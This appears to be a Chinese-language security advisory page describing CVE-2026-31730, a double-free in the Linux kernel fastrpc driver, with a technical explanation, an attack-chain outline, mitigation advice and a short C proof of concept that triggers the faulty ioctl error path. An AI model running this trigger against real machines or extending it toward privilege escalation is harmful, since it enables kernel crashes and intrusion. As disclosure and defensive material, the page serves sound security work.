IPBUF安全漏洞报告
English
CVE-2026-31730 CVSS 7.8 高危

CVE-2026-31730 Linux内核fastrpc双重释放漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31730
漏洞类型
双重释放
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

双重释放Linux内核本地提权fastrpc内存破坏CVE-2026-31730

漏洞概述

Linux内核中的fastrpc组件存在一个双重释放漏洞。在`fastrpc_init_create_static_process()`函数的错误处理路径中,虽然释放了`cctx->remote_heap`,但未将指针置空。随后如果rpmsg设备被移除或解绑,`fastrpc_rpmsg_remove()`函数会检查该指针非空并再次释放同一内存,导致双重释放。该漏洞允许本地低权限攻击者利用此缺陷导致内核崩溃或潜在的提升权限。

技术细节

该漏洞源于Linux内核驱动`drivers/misc/fastrpc.c`中资源管理逻辑的缺陷。具体而言,当`fastrpc_init_create_static_process`函数在处理`INIT_CREATE_STATIC` ioctl调用时,若进入错误处理标签`err_map`,会执行`kfree(cctx->remote_heap)`释放堆内存。然而,代码遗漏了将`cctx->remote_heap`指针设置为NULL的操作。在后续的设备生命周期中,如果rpmsg设备被移除,系统会调用`fastrpc_rpmsg_remove`进行清理。由于`cctx->remote_heap`仍持有已释放的地址,`fastrpc_rpmsg_remove`中的判空检查失效,从而对同一块内存执行第二次释放。这种双重释放会导致堆结构损坏,攻击者可利用此原语进行内核堆布局操控,进而实现拒绝服务或本地权限提升。

攻击链分析

STEP 1
1. 获取访问权限
攻击者获得本地低权限用户访问权限,能够打开/dev/fastrpc设备节点。
STEP 2
2. 触发错误路径
攻击者调用INIT_CREATE_STATIC ioctl,并构造特定参数或利用系统状态,使函数执行进入err_map错误处理分支。
STEP 3
3. 首次内存释放
在错误路径中,内核释放cctx->remote_heap指向的内存,但指针未被置空,形成悬空指针。
STEP 4
4. 触发设备清理
攻击者触发设备移除或解绑操作(如通过sysfs unbind),导致内核调用fastrpc_rpmsg_remove函数。
STEP 5
5. 触发双重释放
fastrpc_rpmsg_remove检查到指针非空,尝试再次释放同一块内存,引发内核堆破坏。
STEP 6
6. 利用漏洞
利用双重释放导致的内存破坏,攻击者可能造成内核崩溃(DoS)或结合堆喷射技术实现本地权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31730 * This code simulates the trigger condition for the double-free vulnerability. * It requires a vulnerable kernel version and access to /dev/fastrpc. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define FASTRPC_IOCTL_INIT_CREATE_STATIC _IOWR('R', 3, struct fastrpc_ioctl_create) struct fastrpc_ioctl_create { int filefd; /* fd of the file to mmap */ unsigned int attrs; unsigned int siglen; /* ... other fields ... */ }; int main() { int fd; struct fastrpc_ioctl_create create_args; printf("[*] Opening /dev/fastrpc...\n"); fd = open("/dev/fastrpc", O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } // Initialize arguments to trigger the error path (err_map) // Specific values depend on the hardware/driver state to force the error. memset(&create_args, 0, sizeof(create_args)); printf("[*] Triggering INIT_CREATE_STATIC ioctl to force error path...\n"); // This call is expected to fail, triggering the first free int ret = ioctl(fd, FASTRPC_IOCTL_INIT_CREATE_STATIC, &create_args); if (ret < 0) { printf("[+] Ioctl failed as expected (ret=%d), first free likely occurred.\n", ret); } close(fd); printf("[*] Now trigger rpmsg device removal (e.g., unbind driver)\n"); printf("[*] This should trigger fastrpc_rpmsg_remove and the second free.\n"); printf("[*] Check kernel log for 'double free' or general protection fault.\n"); return 0; }

影响范围

Linux Kernel (所有包含漏洞commit之前的版本)

防御指南

临时缓解措施
建议立即应用官方提供的内核补丁进行修复。在无法立即升级的情况下,可以通过修改设备权限(chmod)限制非特权用户对fastrpc设备的访问,或者禁用相关的内核模块(如果业务允许),从而阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表